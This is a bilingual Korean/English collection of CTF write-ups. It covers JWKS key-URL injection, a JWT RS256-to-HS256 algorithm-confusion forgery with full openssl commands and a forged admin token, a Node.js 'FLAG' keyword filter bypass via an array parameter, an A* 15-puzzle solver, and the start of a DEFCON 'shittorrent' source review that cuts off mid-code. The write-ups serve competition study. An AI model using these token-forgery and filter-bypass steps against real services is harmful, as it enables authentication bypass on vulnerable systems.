Obviously, server fetch the key data from the url.

I tested on requestbin, the server request to the endpoint.

 

There is jwk standard. Previously, I didn't know about that

 

https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation#oct

https://qiita.com/takdcloose/items/d25fff32c98b48b3c648

https://mkjwk.org/

It is difficult to me, I googled some site which make us a sample jwk.

I googled jwk to pem converter.

https://www.npmjs.com/package/jwk-to-pem

https://developer.aliyun.com/mirror/npm/package/jwk-to-pem

 

var jwkToPem = require('jwk-to-pem');
var jwk = {
    "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
    "kty": "RSA",
    "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
    "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
    "e": "AQAB",
    "use": "sig",
    "kid": "einstrasse",
    "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
    "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
    "alg": "RS256",
    "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
    "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
};

var pub = jwkToPem(jwk);
var priv = jwkToPem(jwk, {private: true});
console.log(pub);
console.log(priv);
D:\ctf\2020-NahamCon>node do.js
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtXIwA2OpUfzF2B/M4WdD
wOG0tq4xcqaCJzdAMfd/YRaMkM9cKyHmW+sh3OaXew+NeA/V836j/HSW88tjuMs6
YXcHUj1+A+5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK/eXKTvSYJ++61/tcGZL3XUV
5MVPznXsoNspNk/SUYPrtkh8z0cwJLAurZo/uTtlOguOQVD3aWd8Lb9zkREBp+8z
UuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQ
SVj8Qb+FJfe3rfxPX2JGJknyQGOmdCec9e3bg/OvrtPzBQl8e96J2uxOkchWnnp6
XQIDAQAB
-----END PUBLIC KEY-----

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1cjADY6lR/MXY
H8zhZ0PA4bS2rjFypoInN0Ax939hFoyQz1wrIeZb6yHc5pd7D414D9XzfqP8dJbz
y2O4yzphdwdSPX4D7lcveSMkUCcHAhgg7tVjBsmkqG+jTEwr95cpO9Jgn77rX+1w
ZkvddRXkxU/Odeyg2yk2T9JRg+u2SHzPRzAksC6tmj+5O2U6C45BUPdpZ3wtv3OR
EQGn7zNS7PNEnTVksbYi+Yej0AaR3eLzvocxACLmDNaJ6FY2BY1HceFRJ56Ubeu8
3hsraJBJWPxBv4Ul97et/E9fYkYmSfJAY6Z0J5z17duD86+u0/MFCXx73ona7E6R
yFaeenpdAgMBAAECggEAIANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp/fVpbu
6CHd5jJN/YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB+Ekt5
TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq/hqM8+szdXRsIzXs
PINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC+ebLRyHt3pzQ/W9wkvzou
B/g+6IecImXdWTtUZePvPKlf/wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoF
OcY6o/hrXV33O+vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQKBgQD0vA94xzOXXggEdg6Q
vJag5Q8Prbu2uhE6gI4B4r065vrUvWsiPhCECA5YD5YL7bzneD/rHMFcVMGaMCHO
VeSiqQLagEseKLU3tY6Pw9l49rahFwsa8Z2b5ZEw9Td8ZttTUllC2hZ+9m89XJGF
mEzH1sue7efRgRT7flTt0Ktg4QKBgQC9zFaJx0eaK2XFv5Zxlr29fF04cffILFKc
gBljnRbLpxyuKPDc8k7sCmeet6OBSS5ZVCslaneo4NG9RHCo1iLiU1KbYtaWIVaz
u5cSdm6VzVvkT5v70OTou+QYWeUl59t/sghBJfGEPkwapbCfc9ydz2icu/JbwQiW
r8Ne3Ec8/QKBgQDiVfJxHrll6f68MXqy/NbJok3VkDUkftxkIHQ05j9fdDLSAQRN
vNyFXvX1FyULjyi/YYSrqgJho7kRIiaBrwouLOSIs1HFaJyAExbveo9rwa+RN8B7
gKzkeuFWR9Ky6GU6n9QRcaSQctTaCPxEc1+/CbVzHE7igOCo3mMpNWzpwQKBgQCd
cks/lF7jl6ifeKV2qRPRgr9aOcDQ/2Owi9uD9SaZ3pE+MJxOzXuG98KpubEbaPfY
BqicK0wEfiu/lGzYwnrBwVk/qahVdmaURsO1/yURg//8z8WYCdw67NL1GG2tGj/O
GIQcdzt49qzvVg/E1rpm903S517PmrxjNH8fzCAUiQKBgF0kntux7WpZ2DAkdmdx
Caa81AdCtX4HE68BPJcjUw9ZZDW7mTyDYag2Ae8X2/cq60H7QmlFE6gqKsjr47qG
BmYkAPqRXO97zfCk2wLfI0jP21EkytAurL7nfMGB9B14Wiyt2hRFgObNSkcdXCzY
FrW2ObTcROnMg88xutFJi5ic
-----END PRIVATE KEY-----

 

I made public and private ceritifcate of jwk.

 

I used jwt.io to make valid jwt payload.

It didn't worked, so I tried another format of jwk.

The sample in the middle worked!

{
    "keys": [
        {
            "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
            "kty": "RSA",
            "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
            "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
            "e": "AQAB",
            "use": "sig",
            "kid": "einstrasse",
            "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
            "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
            "alg": "RS256",
            "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
            "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
        }
    ]
}

flag{whoops_typo_shoulda_been_flag_jwks}

Algorithms - Alien

2차원 누적합을 사용하면, 구간 합을 //(O(1)//)만에 구할 수 있다. 총 시간복잡도는 //(O(N^4)//)인데, //(N=500//)이므로 계산량은 625억 정도가 된다. 보통 1억번의 연산이 1초 정도 걸리므로, 대충 600초=10분 정도의 시간이 소요된다.

 

Using 2nd dimension cumulative summation, you can easily get range summation in //(O(1)//) time complexity. Then, total time complexity is //(O(N^4)//), while //(N=500//), total computing amount is about 62.5 billions.

Average CPU runs 100 million arithmetic for seconds, roughly 600 seconds(=10 minutes) will take to complete computation.

#include <bits/stdc++.h>
using namespace std;
typedef long long ll;
typedef pair<int, int> pii;
#define endl '\n'
ll accu[505][505];
ll sign[505][505];
ll g(int x1, int y1, int x2, int y2) {
	return accu[x2][y2] - accu[x2][y1 - 1] - accu[x1 - 1][y2] + accu[x1 - 1][y1 - 1];
}
ll s(int x1, int y1, int x2, int y2) {
	return sign[x2][y2] - sign[x2][y1 - 1] - sign[x1 - 1][y2] + sign[x1 - 1][y1 - 1];
}
int main() {

	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			int tmp;
			scanf("%d", &tmp);
			accu[i][j] = accu[i][j - 1] + tmp;
			sign[i][j] = sign[i][j - 1] + (tmp == -1);
		}
	}
	puts("got input!");
	for (int i = 1; i <= 500; i++) {
		for (int j = 1; j <= 500; j++) {
			accu[j][i] += accu[j - 1][i];
			sign[j][i] += sign[j - 1][i];
		}
	}
	puts("calc 누적합!");
	ll ans = 0;
	for (int i = 1; i <= 500; i++) {
		printf("Progress %d/500\n", i);
		for (int j = 1; j <= 500; j++) {
			for (int x = i; x <= 500; x++) {
				for (int y = j; y <= 500; y++) {
					ll add = g(i, j, x, y);
					if (add % 13 == 0) {
						if (s(i, j, x, y) & 1) {
							add = -add;
						}
						ans += add;
					}
				}
			}
		}
	}
	cout << ans << endl;
	return 0;
}

flag{7508511543}

 

Web - Broken Token

소스코드를 보면 웹에서 JWT를 사용한다. 그런데, 디코딩을 할 때에는 jwt 알고리즘을 명시적으로 선언해놓지 않았다. 따라서 공개키 암호 방식인 RS256대신 대칭키 암호 방식인 HS256를 강제하게 해서 jwt를 변조할 수 있다.

Inspecting the source code, it using JWT. Then, decoding phase, there is no explicit algorithm indication.

Thus, by crafting the JWT header, we can enforce server to use HS256 which is symmetric key cryptographical signiture.

 

자세한 공격 프로세스는 이 링크에 자세히 나와있다.

Detailed attack prcess is in this link

 

아래 내용은 링크가 깨질 경우를 대비한 링크 내용 카피본이다

Collapsed contents contain the back-up of the link contents, for the case of link is broken.

더보기

key.pem

-----BEGIN PUBLIC KEY-----
  MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqi8TnuQBGXOGx/Lfn4JF
  NYOH2V1qemfs83stWc1ZBQFCQAZmUr/sgbPypYzy229pFl6bGeqpiRHrSufHug7c
  1LCyalyUEP+OzeqbEhSSuUss/XyfzybIusbqIDEQJ+Yex3CdgwC/hAF3xptV/2t+
  H6y0Gdh1weVKRM8+QaeWUxMGOgzJYAlUcRAP5dRkEOUtSKHBFOFhEwNBXrfLd76f
  ZXPNgyN0TzNLQjPQOy/tJ/VFq8CQGE4/K5ElRSDlj4kswxonWXYAUVxnqRN1LGHw
  2G5QRE2D13sKHCC8ZrZXJzj67Hrq5h2SADKzVzhA8AW3WZlPLrlFT3t1+iZ6m+aF
  KwIDAQAB
  -----END PUBLIC KEY----

이 값을 Ascii hex로 변경한다.

Transform the pem data to ascii hex.

cat key.pem | xxd -p | tr -d "\\n"

이 경우 아래 결과를 얻게 된다.

Result of above command is below.

2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이를 이용해서 JWT header와 payload를 서명해보도록 하자.

Let's sign the jwt header and payload with the key.

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

이때 나온 HMAC 시그니쳐는 아래와 같다.

Output is HMAC signiture.

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

이 시그니쳐 값을 한줄의 파이썬 코드로 ASCII hex 값으로 바꾼다.

You can transform this signiture to ASCII hex with one line python code

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

그 결과는 아래와 같다.

Result is here.

2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

이를 이용한 최종 JWT 값은 다음과 같다.

Final valid jwt is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

실제로 사용한 JWT 값은 다음과 같다.

The JWT used to exploit is here.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdXRoIjoiYWRtaW4ifQ.MfoiS9XkQHMOw2Y6uQJrw0gM2NUfGYM-1Sz-SzKvad4

 

Lastest version pyJWT seems to be patched about the vulnerability.

최신 버전의 pyJWT에는 통하지 않는 듯 하다.

flag{1n53cur3_tok3n5_5474212}

Intro

대회가 진행중일때는 솔버수가 너무 낮아서 문제를 확인하지도 않았는데, 대회가 끝나고 나서 한번 풀어봤습니다.

I didn't even checked this problem during the contest due to too lower number of solvers.

After CTF finished, I just tried and solve this challenge.

 

15 puzzle은 일반적인 탐색 문제입니다. CTF와 같은 해킹 대회에서는 생소할 수 있지만, PS나 CP를 하는 사람들에게는 어느정도 풀어 볼 수 있는 기회가 있는 문제입니다. 학부때 인공지능 수업에서 일반적인 15 puzzle을 A* 알고리즘으로 풀어본적이 있었습니다. 그래서 이번 문제도 약간 변형되어 있긴 하지만, A* 알고리즘으로 풀 수 있을거라고 생각했습니다. 여기 나오는 15 puzzle은 인접한 칸과 바꾸는 것이 아닌, 체스의 나이트가 움직이는 범위의 칸과 바꿀 수 있다는 차이점이 있습니다.

15 puzzle is basic searching algorithm problem. It seems unfamiliar in security challenge like CTFs, for the people who are engaged in Problem solving or Competitive Programming area it could be familiar problem. I've seen this problem in artificial intelligence course in my university bachelor degree period. This problem can be solved with A* search algorithm. This is a little transformed version of 15 puzzle, but it is still solvable with A-star search algorithm.

The 15 puzzle have difference in movable range while classical 15 puzzle moves with adjacent 4 direction, this 15 puzzle moves like chess's knight.

 

Modeled to Graph Search Problem(그래프 탐색 문제로 모델링)

이 15 퍼즐문제는 그래프 탐색 문제로 모델링 될 수 있습니다. 모든 그래프 정점은 퍼즐의 상태를 타나내며, 처음 루트 노드는 15퍼즐의 입력 값에 따른 상태를 나타냅니다. 모든 노드들은 다른 노드로 간선이 연결되어 있으며, 만약 두개의 노드가 연결되어 있다면 한번의 움직임으로 해당 상태로 전환될 수 있다는 것을 뜻합니다.

아래 예시 그림에서는 루트 노드는 goal 상태를 나타냅니다. 루트 노드의 상태는 2개의 퍼즐 움직임이 가능한데, 이는 엣지로 연결된 자식 노드를 나타냅니다.

 

This 15 puzzle problem is a kind of graph search problem. This problem can be modeled to graph search.

Every graph node indicates the state of puzzle. Initial root node indicates input state of 15 puzzle. Every node has edge to other node. If two node is connected, it indicates that two node is both transformable with single move.

In this example diagram, the root node indicates the goal state. The root state 2 possible move, it is indicates as child node with edge.

이 탐색 문제를 풀기 위해서 우리는, BFS나 DFS같은 전통적인 탐색 알고리즘을 사용할 수 있습니다.

하지만 DFS는 최적화를 보장하지 않고, 따라서 시간이 너무 많이 걸릴 수 있습니다.

BFS 알고리즘은 최적회를 보장하지만 문제를 풀기에는 조금 느릴 수 있습니다.

To solve this search problem, we can use traditional search algorithm like BFS or DFS.

But DFS algorithm doesn't guarantee the optimal solution, so it could consume too much time.

BFS algorithm guarantee the optimal solution but it can be little bit slow to solve the problem.

A-star search algorithm

A* search algorithm can enhance search speed by prioritizing the node have more probability to reach the solution.

A* search algorithm seems very difficult, but there is nothring special than BFS(Breadth-First Search) graph searching algorithm.

In implementation level, there is one difference, while BFS uses simple queue, but A* uses priority queue.

 

Priority of node can be determined by heuristic function which is the core concept of A* algorithm.

You can use many kind of heuristic function to make this algorithm works, just not over estimating the node than real value.

 

Simple and naive heuristic function is the number of matched puzzle. I used this h-function, and I implemented this heuristic function as name hfunc.

 

Deciding unsolvable case

I refer the geeksforgeeks document to deciding the unsolvable case. In normal 15 puzzle case, unsolvable case can be detected with number of inversions. When puzzle moves, the number of inversion state alters.

Applying this rules to this type of problem, every puzzle moves, the number of inversion changes with odd number.

In goal state, number of inversions is 0(even number). From the goal state with one move, number of inversion is odd number. When number of inversion is odd number, with one move it alters to even number. The number of inversion's 2 modulo value is negated with every move.

 

 

 

solver.cpp

#include <bits/stdc++.h>
using namespace std;
typedef pair<int, int> pii;
typedef pair<int, vector<int> > State;
const int correct[4][4] = {
	{0, 1, 2, 3},
	{4, 5, 6, 7},
	{8, 9, 10, 11},
	{12, 13, 14, 15}
};
int puz[4][4];
int hfunc(int puz[][4]) {
	int ret = 0;
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			ret += (correct[i][j] == puz[i][j] ? 1 : 0);
		}
	}
	return ret;
}
vector<pii> movable;
void dump(vector<int>& arr) {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			printf("%3d ", arr[i * 4 + j]);
		}
		puts("");
	}
	puts("======================================");
}
void vec2arr(vector<int>& vec, int puz[][4]) {
	for (int i = 0; i < 16; i++) {
		int& v = vec[i];
		puz[i / 4][i % 4] = v;
	}
}
void arr2vec(int puz[][4], vector<int>& vec) {
	vec.resize(16, 0);
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			vec[i * 4 + j] = puz[i][j];
		}
	}
}
void input() {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			scanf("%d", &puz[i][j]);
		}
	}
}
pii findzero(int puz[][4]) {
	for (int i = 0; i < 4; i++) {
		for (int j = 0; j < 4; j++) {
			if (puz[i][j] == 0) return make_pair(i, j);
		}
	}
	assert(false);
	return make_pair(-1, -1);
}
bool isin(int x, int y) {
	return x >= 0 && y >= 0 && x < 4 && y < 4;
}
char dir[8][3] = {
	{-1, -2, 'q'},
	{-2, -1, 'w'},
	{-2, +1, 'e'},
	{-1, +2, 'r'},
	{+1, -2, 'a'},
	{+2, -1, 's'},
	{+2, +1, 'd'},
	{+1, +2, 'f'}
};
void unsolvable() {
	puts("unsolvable");
	exit(EXIT_SUCCESS);
}
int main() {
	input();
	State state;
	state.first = hfunc(puz);
	arr2vec(puz, state.second);
	pii zero = findzero(puz);
	int inv = 0;
	for (int i = 0; i < 16; i++) {
		for (int j = i + 1; j < 16; j++) {
			int a = state.second[i];
			int b = state.second[j];
			if (a > b) inv++;
		}
	}
	

	int id = ((zero.first + zero.second) & 1);
	if ((inv & 1) != id) {
		unsolvable();
	}
	
	map<vector<int>, State> visited;
	priority_queue<State> pq;
	visited[state.second] = make_pair(-1, vector<int>()); //initial state!
	pq.push(state);
	while (pq.size()) {
		State cur = pq.top(); pq.pop();
		if (cur.first == 16) {
			// puts("GOTCHA!");
			State p = cur;
			vector<char> move;
			while (p.second.size()) {
				if (visited[p.second].first != -1) {
					move.push_back(dir[visited[p.second].first][2]);
				}
				//To dump intermediate puzzle state
				//dump(p.second);
				p = visited[p.second];
			}
			while (move.size()) {
				putchar(move.back());
				puts("");
				move.pop_back();
			}
			return 0;
		}
		vec2arr(cur.second, puz); //puz <- 기존
		pii zero = findzero(puz);
		for (int k = 0; k < 8; k++) {
			int nx = dir[k][0] + zero.first;
			int ny = dir[k][1] + zero.second;
			if (isin(nx, ny)) {
				swap(puz[zero.first][zero.second], puz[nx][ny]); //위치 바꿈
				State next;
				next.first = hfunc(puz);
				arr2vec(puz, next.second);
				if (visited.find(next.second) == visited.end()) { //중복이 아닌 경우
					visited[next.second] = make_pair(k, cur.second); //마지막 움직임 형태와, 기존 형태를 저장함
					pq.push(next);
				}
				swap(puz[zero.first][zero.second], puz[nx][ny]); //원복 시킴
			}
		}
	}
	return 0;
}

do.py

#!/usr/bin/env python3

from pwn import *
import os

p = remote('puzzle.ctf.defenit.kr', 1515)

p.recvuntil("y/n)\n")
p.sendline("y")

def solve():
    global p
    
    with open("in.txt", "w") as f:
        for i in range(0, 4):
            f.write(p.recvuntil("\n").decode('utf-8'))
    os.system("./solver < in.txt > out.txt")
    with open("out.txt", "r") as f:
        p.send(f.read())
    resp = p.recvuntil("\n")[:-1].decode('utf-8')
    if "Solved" not in resp:
        return False
    else:
        return True
for i in range(0, 100):
    solve()
p.interactive()
p.close()

Got the flag!

 

Reference

https://www.geeksforgeeks.org/check-instance-15-puzzle-solvable/

https://gist.github.com/Einstrasse/d9b2503d068ae2a8937d15e985f02c3f

The challenge provides server js code. It uses nodejs.

if (typeof content === 'string' && content.indexOf('FLAG') != -1 || typeof content === 'string' && content.length > 200) {
	res.end('Request blocked');
	return;
}

It use hbs as template engine. If I submit the syntax {{apple}}, it returns 'mint'.

 

With similar step, I we can submit the syntax {{FLAG}}, it will return the flag.

But the middleware of express engine filter the "FLAG" keyword with string type.

Then we can submit with array type.

With burp suite, use paramter key content[] instead of contet.

With chrome dev tools, replace the name content to content[]

In addition, this solution is unintended solution.

2020년 DEFCON ctf 대비 스터디를 하면서 2019년 qualification round 문제들을 리뷰하기로 했다.

관련 리소스들은 o-o-overflow github에 공개되어 있다.

 

이번에 리뷰할 문제는 shittorrent라는 문제이다. 구글링을 좀 하다 보니, github에 exploit코드가 공개된게 있기는 했다만, write-up은 따로 없어서 이번에 공부하면서 정리해보고자 한다.

익스코드는 Ruby로 작성되어있었다. 신기하게도 pwntools가 ruby 버전으로도 있었다. 파이썬 버전만 있는 줄 알았는데..

 

문제 개요

실제 대회때 당시에는 소스코드가 공개되어있었는지는 모르겠는데, o-o-overflow에 공개된 리소스에는 소스코드가 제공되어있다.

코드가 단일 파일 치고는 다소 기므로, 접은글로 표현해놓았다.

 

더보기
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <string.h>
#include <vector>
#include <arpa/inet.h>
#include <algorithm>

/* globals */
fd_set *rfds;
int lastfd;
std::vector<int> listeners;
std::vector<int> admins;

int vhasele(std::vector<int> v, int ele) {
	if(std::find(v.begin(), v.end(), ele) != v.end()) {
		return 1; // has it
	} else {
		return 0; // doesn't have it
	}
}

void vremove(std::vector<int> v, int ele) {
	v.erase(std::remove(v.begin(), v.end(), ele), v.end());
}

void setfdlimit() {
	struct rlimit fdlimit;
	long limit;
	limit = 65536;
	fdlimit.rlim_cur = limit;
	fdlimit.rlim_max = limit;
	setrlimit(RLIMIT_NOFILE, &fdlimit);
	FD_ZERO(rfds);
}

void nobuf() {
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}

void intro() {
	puts("simple hybrid infrastructure torrent");
	puts("enable simple distribution of files among your fleet of machines");
	puts("used by it department the world over");
}

void printmenu() {
	puts("《SHITorrent 》management console");
	puts("[a]dd pc to manage");
	puts("[r]emove pc from fleet");
	puts("[w]ork");
	puts("[q]uit");
	puts("[g]et flag");
}

int add_node() {
	char hostname[100] = {0};
	char portstr[100] = {0};
	int port = 0;
	puts("enter host");
	read(0, hostname, 99);
	if(hostname[strlen(hostname) - 1] == '\n') {
		hostname[strlen(hostname) - 1] = '\x00';
	}
	puts("enter port");
	read(0, portstr, 99);
	port = atoi(portstr);

	struct sockaddr_in address;
	int sock = 0, valread;
	struct sockaddr_in serv_addr;
	char *hello = "SHITorrent HELO\n";
	char buffer[1024] = {0};
	if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		printf("\n Socket creation error \n");
		return -1;
	}

	memset(&serv_addr, '0', sizeof(serv_addr));

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_port = htons(port);

	// Convert IPv4 and IPv6 addresses from text to binary form
	if(inet_pton(AF_INET, hostname, &serv_addr.sin_addr)<=0) {
		printf("\nInvalid address/ Address not supported \n");
		return -1;
	}

	if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0) {
		printf("\nConnection Failed \n");
		return -1;
	}
	send(sock , hello , strlen(hello) , 0 );
